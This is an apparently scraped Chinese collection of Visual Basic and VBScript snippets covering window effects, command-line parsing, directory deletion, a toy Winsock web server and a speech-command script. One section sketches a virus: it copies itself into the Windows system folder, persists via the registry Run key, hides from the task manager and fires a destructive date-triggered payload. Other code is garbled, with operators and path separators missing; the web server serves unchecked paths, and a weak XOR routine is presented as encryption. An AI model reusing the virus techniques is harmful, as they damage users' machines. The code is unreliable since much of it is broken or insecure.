以下是我收集的VB代码。
Option Explicit
Public strCmd As String
Private Sub Form_Load()
Me.Visible = False
strCmd = Command
MsgBox strCmd
Unload Me
End Sub
将上面的代码添加到一个窗体中。
然后编译成一个可执行文件，比如 msg.exe
然后在命令行下执行该文件
C:/>msg.exe "sdfsf"
会看到弹出对话框，然后程序自动退出。
对于使用 Visual Basic 开发并编译为 .exe 文件的应用程序，VB提供了一个Command 对象，该对象返回出现在命令行中应用程
序名之后的任何参数。下面函数演示了如何获取参数的所有技术细节。
Function GetCommandLine(Optional MaxArgs)
′声明变量。
Dim C, CmdLine, CmdLnLen, InArg, I, NumArgs
′检查是否提供了 MaxArgs 参数。
If IsMissing(MaxArgs) Then MaxArgs = 10
′ 使数组的大小合适。
ReDim ArgArray(MaxArgs)
NumArgs = 0: InArg = False
′取得命令行参数。
CmdLine = Command()
CmdLnLen = Len(CmdLine)
′以一次一个字符的方式取出命令行参数。
For I = 1 To CmdLnLen
C = Mid(CmdLine, I, 1) ′检测是否为 space 或 tab。
If (C ″ ″ And C vbTab) Then
′若既不是 space 键，也不是 tab 键，则检测是否为参数内含之字符。
If Not InArg Then
′新的参数。检测参数是否过多。
If NumArgs = MaxArgs Then Exit For
NumArgs = NumArgs ＋ 1
InArg = True
End If
′将字符加到当前参数中。
ArgArray(NumArgs) = ArgArray(NumArgs) ＋ C
Else
′找到 space 或 tab。将 InArg 标志设置成 False。
InArg = False
End If
Next I
ReDim Preserve ArgArray(NumArgs) ′调整数组大小使其刚好符合参数个数。
GetCommandLine = ArgArray() ′将数组返回。
End Function
VB程序实现WindowsXP效果的界面
2006-12-15 13:07 来源：163
具体的实现方法如下：
①：在你的窗体加入代码。如果是多个窗口，可以将此代码放到模块中。
代码如下：
‘声明API函数
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Sub Form_Initialize()
InitCommonControls
End Sub
注意：千万不要在Form_load()事件下写InitCommonControls这句话，否则你的窗体会启动不了。（不要怪我没告诉你啊~~~~
）
②：建立一个和你的.exe同名的.exe.manifest文件（假如：如果你最后编译好的文件名为WindowXPStyle.exe，则建立一个
文件名为WindowXPStyle.exe.manifest的文件），并且此文件必须存在于和你Exe文件的同一目录下。
以WindowXPStyle.exe为例，则这个WindowXPStyle.exe.manifest的文件的内容如下：
Your application description here.
VB中制作半透明窗体
2006-12-05 08:24 来源：enet
AnimateWindow是一个窗口打开和关闭时产生动画效果的新函数，因为是一个新的函数, 所以在 API Viewer中是找不到的
,必需自己定义:
Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long,
ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
注释：具体可以使用的常量及其用法
Const LWA_ALPHA=&H2 注释：表示把窗体设置成半透明样式
Const LWA_COLORKEY=&H1 注释：表示不显示窗体中的透明色
具体例子
程序代码
Module1
Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal
bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Const WS_EX_LAYERED = &H80000
Public Const GWL_EXSTYLE = (-20)
Public Const LWA_ALPHA = &H2
Public Const LWA_COLORKEY = &H1
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As
Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As
Long, ByVal dwNewLong As Long) As Long
Form1
Private Sub Form_Load()
Dim rtn As Long
rtn = GetWindowLong(Me.hwnd, GWL_EXSTYLE) 注释：取的窗口原先的样式
rtn = rtn or WS_EX_LAYERED 注释：使窗体添加上新的样式WS_EX_LAYERED
SetWindowLong Me.hWnd, GWL_EXSTYLE, rtn 注释：把新的样式赋给窗体
SetLayeredWindowAttributes me.hwnd, 0, 192, LWA_ALPHA
注释：把窗体设置成半透明样式,第二个参数表示透明程度
注释：取值范围0–255,为0时就是一个全透明的窗体了
End Sub
第二种使用方法
SetLayeredWindowAttributes Me.hWnd, &H0, 0, LWA_COLORKEY
注释：表明不显示窗体中的透明色
注释：而第二个参数表示透明色为黑色,并且你可以用RGB函数来指定颜色值.
下面的程序可以使你删除整个目录，而不用理会目录下文件或子目录的属性。AddDirSep子程序使你不用输入斜杠。
Sub FPDeleteTree(inPath As String)
‘定义临时变量
Dim tmpPath As String, curPath As String
Dim tmpFileName As String
‘保存指定路径
curPath = inPath: AddDirSep curPath
‘不理目录下文件属性，统统删除。
tmpFileName = Dir(curPath, vbNormal + vbHidden + vbSystem)
Do While Not tmpFileName = ""
SetAttr curPath & tmpFileName, vbNormal
Kill curPath & tmpFileName
tmpFileName = Dir
Loop
‘循环删除子目录及其内容
tmpPath = Dir(curPath, vbDirectory)
Do While tmpPath = "." or tmpPath = ".."
tmpPath = Dir
Loop
Do While Not tmpPath = ""
curPath = curPath & tmpPath
AddDirSep curPath
tmpFileName = Dir(curPath, vbNormal + vbHidden + vbSystem)
Do While Not tmpFileName = ""
SetAttr curPath & tmpFileName, vbNormal
Kill curPath & tmpFileName
tmpFileName = Dir
Loop
tmpPath = Dir(curPath, vbDirectory)
Do While tmpPath = "." or tmpPath = ".."
tmpPath = Dir
Loop
If tmpPath = "" Then
RmDir curPath
curPath = inPath
AddDirSep curPath
tmpPath = Dir(curPath, vbDirectory)
Do While tmpPath = "." or tmpPath = ".."
tmpPath = Dir
Loop
End If
Loop
AddDirSep inPath
RmDir inPath
End Sub
‘**
‘ 子程序: AddDirSep
‘**
Sub AddDirSep(strPathName As String)
If Right$(RTrim$(strPathName), Len(gstrSEP_DIR)) gstrSEP_DIR Then
strPathName = RTrim$(strPathName) & gstrSEP_DIR
End If
End Sub
HTTP协议在浏览器中使用的原理：首先，Web浏览器与服务器建立连接，然后Web浏览器通过HTTP协议向服务器请求文档，最后，
由服务器向Web浏览器应答，关闭连接。这就是HTTP协议的一般工作过程。下面，使用Visual Basic 5.0中文版来实现一个简单的
Web服务器，使用Tcp/IP协议的 80端口，一般浏览器中的Http协议默认此端口，然后设置好超文本文件的发布路径，本程序默认
为C:InetPubwwwroot，此Web Server程序比较简单，只适用于包含有文的超文本文件，如果超文本文件中含有图形，无法显示
出来。
一、建立窗体
控件依次为label1,label2,label3,
text1,text2,text3,command1,及Winsock1
label1.caption=”Visual Basic Web 服务器 1.0”
label2.caption=”本机地址”
label3.caption=”发布路径”
text2.text=”c:Inetpubwwwroot”
command1.caption=”启动”
又击Command1加入代码
Private Sub Command1_Click()
‘启动Winsock1,使用listen方法，听80端口
DoEvents
Winsock1.Close
Winsock1.Protocol = sckTCPProtocol
Winsock1.LocalPort = 80
Winsock1.Listen
Text1.Text = "WinSocket状态:
" & CStr(Winsock1.State) + "
本机IP地址:" + CStr(Winsock1.LocalIP)
End Sub
然后在Winsock1 的DataArrival事件中加入代码
Winsock1.GetData DataReceived, vbString
Text3.Text = DataReceived
pos1 = 0
pos2 = 0
For i = 1 To Len(DataReceived)
If Mid(DataReceived, i, 1) = " " Then
If pos1 = 0 Then
pos1 = i + 1
Else
pos2 = i – 1
Exit For
End If
End If
Next
On Error GoTo ExitThisSub
If pos1 ＜ ＞ 0 And pos2 ＜ ＞ 0 Then
requestfilename = Mid(DataReceived, pos1 + 1, pos2 – pos1)
requestfilename = Trim(Text2.Text) & requestfilename
If Dir(requestfilename) ＜ ＞ "" Then
Else
GoTo NoRequestFile
End If
End If
Open requestfilename For Input As #1
Winsock1.SendData "HTTP/1.0 200 OK" + vbCrLf
Winsock1.SendData "MIME_version:1.0" + vbCrLf
Winsock1.SendData "Content_Type:text/html" + vbCrLf
Winsock1.SendData
"Content_Length:" + CStr(LOF(1)) + vbCrLf
Winsock1.SendData "" + vbCrLf
Winsock1.SendData "" + vbCrLf
Winsock1.SendData "" + vbCrLf
Do While Not EOF(1)
Line Input #1, TData
Winsock1.SendData TData
Loop
ExitThisSub:
Close #1
Command1_Click
Exit Sub
NoRequestFile:
Winsock1.SendData "HTTP/1.0 200 OK" + vbCrLf
Winsock1.SendData "MIME_version:1.0" + vbCrLf
Winsock1.SendData "Content_Type:text/html" + vbCrLf
Winsock1.SendData "Content_Length:" + CStr(30) + vbCrLf
Winsock1.SendData "" + vbCrLf
Winsock1.SendData "" + vbCrLf
Winsock1.SendData "" + vbCrLf
Winsock1.SendData "＜ br ＞＜ br ＞
＜ center ＞＜ h2 ＞欢迎您使用VB WebServer，
刚才的地址没有找到!＜ /h2 ＞＜ br ＞
＜ br ＞1999年4月10日＜ br ＞＜ br ＞
＜ a href=mailto:liyong@263.net ＞
勇勇的信箱＜ /a ＞＜ br ＞＜ /center ＞＜ br ＞"
Command1_Click
在Winsock1的ConnectRequest事件中加入代码
Winsock1.Close
Winsock1.Accept requestID
至此，大功告成，在c:inetpubwwwroot目录中，选一存在的超文本文件，如http://127.0.0.1/default.html即可。程序运行后
，会显示出本机的IP地址，启动IE，在地址栏中输入IP地址及文件名，如果出现上面的画面(略)，那么说明服务器运行正常，且
IP地址是对的，只是default.html文件不存在。
WebBrowser1.Navigate "about:blank"
Do While (WebBrowser1.Busy = True)
DoEvents
Loop
WebBrowser1.Document.open
WebBrowser1.Document.writeln "＜HTML＞"
WebBrowser1.Document.writeln "＜HEAD＞"
WebBrowser1.Document.writeln "＜TITLE＞"
WebBrowser1.Document.writeln "New Document"
WebBrowser1.Document.writeln "＜/TITLE＞"
WebBrowser1.Document.writeln "＜/HEAD＞"
WebBrowser1.Document.writeln "＜body＞"
WebBrowser1.Document.writeln "＜BODY scroll=" & VBA.Chr(34) & "no" & VBA.Chr(34) & "＞"
WebBrowser1.Document.writeln "Hello"
WebBrowser1.Document.writeln "＜/BODY＞"
WebBrowser1.Document.writeln "＜/HTML＞"
判断C:windowssystemKiller.exe是否存在，如果有则退出判断，如果没有则证明本机未感染病毒，立即拷入病毒文件。
病毒源文件名为game.exe
声明部分：
""定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分：
""判断文件是否存在
success% = FileExists%("C:windowssystemKiller.exe")
If success% = False Then ""病毒不存在则拷贝病毒到计算机
FileCopy "game.exe", "C:windowssystemKiller.exe"
… ""修改注册表，将其加入RUN中。(省略若干代码)
End If
在任务管理器列表中禁止病毒本身被列出，可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现；再有就是通过
调用Win API函数来实现，这里就不作介绍了。
病毒发作条件
可用Day(Date)来判断今天是几号，再与确定好的日期作比较，相同则表现出病毒主体的破坏性，否则不发作。也可用Time、
Date或其它方法作为病毒发作条件的判断。例：
if day(date)=16 then ""16是发作日期，取值为1-31的整数
… … ""kill *** 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等，省略若干
代码)
end if
下面就是实现代码，非常简单，用“记事本”程序输入并且保存成CommandPC.VBS即可:
‘==========================================================================
‘ Name : CommandPC.VBS
‘ AUTHOR : HUAYING
‘ DATE : 2005-1-31
‘==========================================================================
Dim CommandDictionary ‘命令字典对象
Dim WshShell ‘WshShell对象提供对本地Windows程序的访问。
Dim ScriptComplete ‘程序结束标志
Dim SR ‘语音识别(Speech Recognition)对象
Dim Grammar ‘语音识别的命令语法对象
‘初始化命令字典对象，可根据自己的需要添加命令
Set CommandDictionary = CreateObject("Scripting.Dictionary")
CommandDictionary.Add "上网"， """C:Program FilesMozilla Firefoxfirefox.exe""" ‘注意双引号的数目
CommandDictionary.Add "计算器"， "calc"
CommandDictionary.Add "记事本"， "notepad"
CommandDictionary.Add "空当接龙"， "freecell"
Set WshShell = CreateObject("WScript.Shell") ‘创建WshShell对象
ScriptComplete = False ‘初始化程序结束标志
‘创建语音识别对象，调用由"Command.XML"所定义的语法，并启动语音识别引擎
Set SR = WScript.CreateObject("SAPI.SpSharedRecoContext"， "RecoContext_")
Set Grammar = SR.CreateGrammar
Grammar.CmdLoadFromFile "COMMAND.XML"， SLODynamic
Grammar.CmdSetRuleIdState 0， 1
MsgBox "你好，主人，请吩咐。"
‘等候你的语音命令(需要安装麦克风)
‘当识别出"命令结束"命令时程序结束
Do
WScript.Sleep 1000
Loop Until ScriptComplete
MsgBox "欢迎再跟我说话，再见！"
‘你的语音命令被识别
Sub RecoContext_Recognition(ByVal StreamNumber， ByVal StreamPosition， ByVal RecognitionType， ByVal Result )
Text = Result.PhraseInfo.GetText ‘获取语音识别引擎所识别的命令
If Text "命令结束" Then
WshShell.Run CommandDictionary.Item(Text) ‘由WshShell对象Run方法执行你的命令
Else
ScriptComplete = true ‘程序结束标志
End If
End Sub
自定义你的命令语法文件Command.XML内容如下，记得要跟CommmandPC.VBS放在同一个目录中哦:
上网
计算器
记事本
空当接龙
命令结束
好了.
在VB中实现MD5算法
http://www.vbzx.net/ArticleView/vbzx_Article_View_666.asp
利用 Command 函数即可获得传递给执行文件的参数信息。
Private Sub Form_Load()
If Left(Command, 2) = "/1" Then
Call sub1’调用第一个子程序
ElseIf Left(Command, 2) = "/2" Then
Call sub2’调用第二个子程序
End If
End Sub
事实上，Vista窗口的磨砂玻璃效果不仅限于窗体的边框(非客户区域)，他可以任意的延伸，甚至铺满整个窗口，下面我们就来看看怎么用的vb6来实现这种扩展。
Vista实现磨砂玻璃效果主要依靠一组叫做 Desktop Window Manager (DWM) 的API来实现，该组API均以dwm打头，存在于dwmapi.dll中(该文件为Vista特有)，顾名思义，这些API是专门用来实现Vista窗口的特效的。由于篇幅所限，这里仅介绍和本文关系最密切的两个函数:DwmIsCompositionEnabled 和 DwmExtendFrameIntoClientArea。
第一个函数DwmIsCompositionEnabled是用于判断系统的磨砂玻璃合成效果是否已经开启，因为该效果可以由用户关闭，尽管你可以在用户关闭合成效果的情况下在程序中单独使用合成效果。
DwmIsCompositionEnabled的原型为:
HRESULT DwmIsCompositionEnabled( BOOL pfEnabled )
其中pfEnabled为一个输出参数，告诉后面的程序合成效果是否被打开。
该函数的VB声明为:
Public Declare Function DwmIsCompositionEnabled Lib "dwmapi.dll" (ByRef enabledptr As Long) As Long
这里要注意C++里的BOOL类型必须译成vb中的Long而不是Boolean，否则你将得到错误的结果。
DwmExtendFrameIntoClientArea函数则用于将磨砂边框扩展至窗体客户区，使得整个窗体看上就像一张卡片(sheet)。
该函数原型为:
HRESULT DwmExtendFrameIntoClientArea(HWND hWnd,const MARGINS margins)
其中hWnd 为目标窗口句柄，margins为一个MARGINS结构体指针
MARGINS结构体定义为:
typedef struct _MARGINS
{
int cxLeftWidth;
int cxRightWidth;
int cyTopHeight;
int cyBottomHeight;
} MARGINS, *PMARGINS;
该函数的vb引用为:
Public Declare Function DwmExtendFrameIntoClientArea Lib "dwmapi.dll" (ByVal hwnd As Long, margin As MARGINS) As Long
MARGINS的vb形式定义:
Public Type MARGINS
m_Left As Long
m_Right As Long
m_Top As Long
m_Button As Long
End Type
其中MARGINS中的各个成员为需要扩展的边框大小(单位:像素)，如果要把磨砂玻璃效果铺满整个边框(本文以此为例)，全部成员可设置为-1
知道了这些，我们现在就可以动手了。
我们在窗体的Form_Load事件里写上:
Dim mg As MARGINS, en As Long
mg.m_Left = -1
mg.m_Button = -1
mg.m_Right = -1
mg.m_Top = -1
DwmIsCompositionEnabled en
If en Then
DwmExtendFrameIntoClientArea Me.hwnd, mg
End If
然后运行(先确保系统使用Aero界面且合成效果被打开)，结果发现窗体依然如故。原来，DwmExtendFrameIntoClientArea扩展后的边框并不会在客户区的前景显示(它其实是一个背景，你会发现，此时边框其实已经被扩展了，因为原来的客户区的凹陷边界已经消失)，磨砂玻璃的效果被窗体默认画上去的前景覆盖了，所以我们得自己给窗体画个“透明”的前景。幸运的是，在RGB调色版中，黑色black (0x00000000)刚好就是ARGB(short for Alpha, Red, Green and Blue)的100%透明(这刚好可以解释为什么用Windows 画图板打开一个png图片时透明背景会变成纯黑)。所以，第一个方法，我们可以在窗口的Form_Paint事件(是的，Form_Paint就足够了，不用去子类化窗体。当然，如果要实现更高级功能，还是子类化吧…)中给窗口的前景用纯黑(RGB(0,0,0))填充，用的是经典的GDI，主要就是CreateSolidBrush和FillRect两个API工作，代码:
Dim hBrush As Long, m_Rect As RECT, hBrushOld As Long
hBrush = CreateSolidBrush(RGB(0, 0, 0))
hBrushOld = SelectObject(Me.hdc, hBrush)
GetClientRect Me.hwnd, m_Rect
FillRect Me.hdc, m_Rect, hBrush
SelectObject Me.hdc, hBrushOld
DeleteObject hBrush ‘别忘了删除对象
现在再按一次F5，恩….很好!效果如下:
但是接着问题就来了，当你在窗体上放上几个控件之后会发现，控件的黑色部分(一般就是文字)也带上了磨砂玻璃的“特效”，如图:
注意到上面的Text1文字了吗?这种效果可不是我们想要的。怎么办呢?
上帝说:要有更好的办法
于是，就有了第二种实现方法。
其实这个问题的关键是画出透明的客户区，那么，别忘了，还有一个API可以做成此事，记得.NET里面那些控件和窗口有的有个TransparentKey属性么?没错了，就是用它—— SetLayeredWindowAttributes
SetLayeredWindowAttributes可以提供这样的一个功能:给一个窗口设定一个透明色，然后窗口显示的时候指定颜色的区域将变成透明。这样，只要我们给窗口指定一种没有用到的颜色(反正不是黑色就行，这里我用RGB(255,255,1))，就可以“画”出“透明”的区域了。
我们在使用之前要先对SetLayeredWindowAttributes做做手脚，将其声明为:
Public Declare Function SetLayeredWindowAttributesByColor Lib "user32" Alias "SetLayeredWindowAttributes" (ByVal hwnd As Long, ByVal crey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
为什么要这么干呢?留意函数第二个参数，本来有人将其声明为Byte类型(用于窗体半透明时没有问题)，但是这里要传一个RGB值，所以要改成Long
代码如下，相关的API和常量不再敷述，声明和值请读者自行补齐
Form_Load事件:(先声明m_transparencyKey全局变量，Long类型)
m_transparencyKey = RGB(255, 255, 1) ‘多少没所谓
SetWindowLong Me.hwnd, GWL_EXSTYLE, GetWindowLong(Me.hwnd, GWL_EXSTYLE) or WS_EX_LAYERED
SetLayeredWindowAttributesByColor Me.hwnd, m_transparencyKey, 0, LWA_COLORKEY
Dim mg As MARGINS, en As Long
mg.m_Left = -1
mg.m_Button = -1
mg.m_Right = -1
mg.m_Top = -1
MsgBox "1"
DwmIsCompositionEnabled en
If en Then
DwmExtendFrameIntoClientArea Me.hwnd, mg
End If
再在Form_Paint事件中画图:
Form_Paint代码:
Dim hBrush As Long, m_Rect As RECT, hBrushOld As Long
hBrush = CreateSolidBrush(m_transparencyKey)
hBrushOld = SelectObject(Me.hdc, hBrush)
GetClientRect Me.hwnd, m_Rect
FillRect Me.hdc, m_Rect, hBrush
SelectObject Me.hdc, hBrushOld
DeleteObject hBrush
再按F5，效果嘛……
顺便提一下，此代码在Windows Vista以下版本，2000及以上Windows版本运行时会产生一个很有趣的效果(除控件外窗体客户区背景完全透明!)
源程序如下：
Public Function StringEnDeCodecn(strSource As String, MA) As String
‘该函数只对中西文起到加密作用
‘参数为：源文件，密码
On Error GoTo ErrEnDeCode
Dim X As Single
Dim CHARNUM As Long, RANDOMINTEGER As Integer
Dim SINGLECHAR As String 1
Dim strTmp As String
If MA < 0 Then
MA = MA (-1)
End If
X = Rnd(-MA)
For i = 1 To Len(strSource) Step 1 '取单字节内容
SINGLECHAR = Mid(strSource, i, 1)
CHARNUM = Asc(SINGLECHAR)
g: RANDOMINTEGER = Int(127 * Rnd)
If RANDOMINTEGER 100 Then GoTo g
CHARNUM = CHARNUM Xor RANDOMINTEGER
strTmp = strTmp & Chr(CHARNUM)
Next i
StringEnDeCodecn = strTmp
Exit Function
ErrEnDeCode:
StringEnDeCodecn = ""
MsgBox Err.Number & "" & Err.Description
End Function
使用方法：
tmp=stringEnDecn("中华人民共和国",75)
如果要解密的话，只须键入以下语句：
tmp1=stringendecn(tmp,75)
异型窗口的半透明
Option Explicit
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Const WS_EX_LAYERED = &H80000
Const GWL_EXSTYLE = (-20)
Const LWA_COLORKEY = &H1
Const LWA_ALPHA = &H2
Const LWA_COLORKEY_ALPHA = &H3 ‘透明 + 异形
Private Sub Form_Load()
Dim NewStyle As Long
Dim WinStyle As Long
WinStyle = GetWindowLong(Me.hwnd, GWL_EXSTYLE)
NewStyle = WinStyle + WS_EX_LAYERED
SetWindowLong Me.hwnd, GWL_EXSTYLE, NewStyle
SetLayeredWindowAttributes Me.hwnd, RGB(255, 0, 0), 128, LWA_COLORKEY_ALPHA ‘异形+半透明
‘SetLayeredWindowAttributes Me.hwnd, 0, 128, LWA_ALPHA ‘半透明
‘SetLayeredWindowAttributes Me.hwnd, RGB(255, 0, 0), 0, LWA_COLORKEY ‘异形
End Sub